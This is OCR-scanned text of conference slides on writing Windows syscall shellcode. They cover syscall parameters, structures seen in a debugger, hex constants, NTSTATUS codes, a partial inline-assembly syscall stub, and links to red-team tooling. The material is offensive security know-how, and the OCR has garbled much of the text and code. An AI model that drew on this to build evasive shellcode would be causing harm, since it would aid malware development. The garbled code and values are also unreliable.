& e Itisalways advisable to check all parameters and structures
— carefully if a syscall fails. Is it a ? S
o You can still use the stack for memory - just be careful, particularly if it is

a !



"= pointers vs. Non-pointers

= On average, syscalls

Virtual: |esp

Display format: Pointd

006f fSce
006t t5d2
006f £5d6
006f £ Sda
00&f fSde
006f fSe2
006ffSeb
006f fSea
00&f f Seea
006f£5£2

006££423
00120089
006ffS5fa
006££612
ooooo0000
00000030
00000001
00000003
0000086AD
00000000

Stack values

ds

parameters than WinApi functions.
For instance, with
directly.

With

as a pointer.

The pointer will be an address that contains the needed value, e.g.
size.

, you must provide the value for a

©)

, the comparable size must be provided

<E’fn

W

o '
) 2 S
S

UNICODE_STRING Structure

0:000> dd O06ffele
006ffele 00460044 006ff626 003f005c 005c003f

0:00 du 006££626
006ffe26 "\??\c:\Windows\SysWOWe4 \urlmon.d"
O06ff666 "11"

0:000> dd 006ffSfa

006f£f5fa 00000018 00000000 0D06ff6le 00000040

00COO0000 QOOOCOOO0 OOOOOODOO OOODOOOOO

POBJECT_ATTRIBUTES Structure

Actual Unicode string text



Hexadecimal Values for Constants
%

é » The hex values for parameters are

internal const int SEC_FILE = Ox8000080; CaU‘Ed COHStants

/// <summary>Win32 constants</summary> o Some resources only give the constant’s
internal const int SEC_IMAGE = ©x1©00000; name, not its hex value.

/// <summary>Win32 constants</summary> . Since we are Writing Assembly, we need

internal const int SEC_RESERVE = ©x4000000; to find th ivalent h deci Lval
/// <summary>Win32 constants</summary> oTin e equivalen exadecimal values.

internal const int SEC_COMMIT = ©x8000000; There are va I’iOLIS Ways to flnd hex

/// <summary>Win32 constants</summary>

internal const int SEC_NOCACHE = ©x10000000; values for constants.

(/] <summaryXWind constants/summery> o Google the name of the constant and related
internal const int MEM_IMAGE = SEC_IMAGE;
/// <summary>Win32 constants</summary> keywords.

internal const int WRITE_WATCH_FLAG_RESET = @xe1; o Check Microsoft documentation.
o Check header files for Windows Software

/// <summary>Win32 constants</summary> .

internal const int SECTION_ALL_ACCESS = Develppment K_It (SDK) _
STANDARD_RIGHTS_REQUIRED | o Use Visual Studio to compile code that has
SECTION_QUERY | the constants.
SECTION_MAP_WRITE | = Openitupinadisassembler or via a

SECTION_MAP_READ | :
SECTION MAP_EXECUTE | debugger to see the corresponding

SECTION_EXTEND_SIZE; hexadecimal values.



NTStatus Codes S

00000212
00000213
00000214
00000215
00000216
00000367
00010001
00010002
001C0001
003C0001

STATUS_RING_PREVIOUSLY_ABOVE_QUOTA
STATUS_RING_NEWLY_EMPTY « Unlike WinAPI functions, important values
STATUS_RING_SIGNAL_OPPOSITE_ENDPOINT .
STATUS_OPLOCK_SWITCHED_TO_NEW_HANDLE are NOT returned in eax.
STATUS_OPLOCK_HANDLE_CLOSED = Instead, every syscall returns an NTSTATUS
STATUS_WAIT_FOR_OPLOCK .

DBG_EXCEPTION_HANDLED code in eax.

DBG_CONTINUE o o]g is generally
STATUS_FLT_IO_COMPLETE what you want to see.

STATUS_DIS_ATIRIBUTE_BUILT o Other error messages are provided there.
STATUS_OBJECT_NAME_EXISTS

STATUS THREAD WAS SUSPENDED = Notall messages indicate an error—some

STATUS_WORKING_SET LIMIT RANGE are purely informational, such as
STATUS_IMAGE_NOT_AT_BASE or
STATUS_RXACT_STATE_CREATED
STATUS_SEGMENT_NOTIFICATION
STATUS _LOCAL_USER_SESSION_KEY
STATUS_BAD_CURRENT DIRECTORY address.
STATUS_SERIAL_MORE_WRITES o NTSTATUS codes can be very helpfulin

STATUS_REGISTRY_RECOVERED troubleshooting syscalls.

e |tsucceeded—just at a different

http://deusexmachina.uk/ntstatus.html



== Developing Syscall Shellcode

= |tis best to use

to help find

the correct format of syscalls & allow
it to automate handling syscalls.

= The easiest way to start to create
syscall shellcode is with

O

in Visual Studio.
and to
compile it work well together.
By doing this, you can easily
into the shellcode itself
with the instruction
= Launch the shellcode in
to verify if things are correct.
s Inline Assembly does have some
limitations though.

_asm {

int 3 Int 3 = breakpoint

jmp start

ourSyscall: ; Syscall Function

cmp dword ptr [edi-08x4],0xa

jne win?7

winle: ; Windows 16/11 Syscall

call dword ptr fs:[@xce@]

ret

win7: ; Windows 7 Syscall
ecx, ecx

lea edx, [esp+4]

call dword ptr fs:[6xc@]
add esp, 4

ret



—

“=_ Final Thoughts

» Creating syscalls likely will take
than doing a comparable WinAPI shellcode.
» Not all functionality may be easily accessible via

syscalls, as there are a lot fewer syscalls.
o Complex, original functionality may take a lot of effort and

"l

involve a lot of and require creative, |
& & original thinking. /
= Many may be required! /

o If successful? You may have something that can
s Afterall, this is the trait that makes syscalls
among red teams.



"= Thank you, HITB!

. Be sure to download and star

- Check out SHAREM shellcode analysis framework:


https://github.com/Bw3ll/ShellWasp
https://github.com/Bw3ll/sharem
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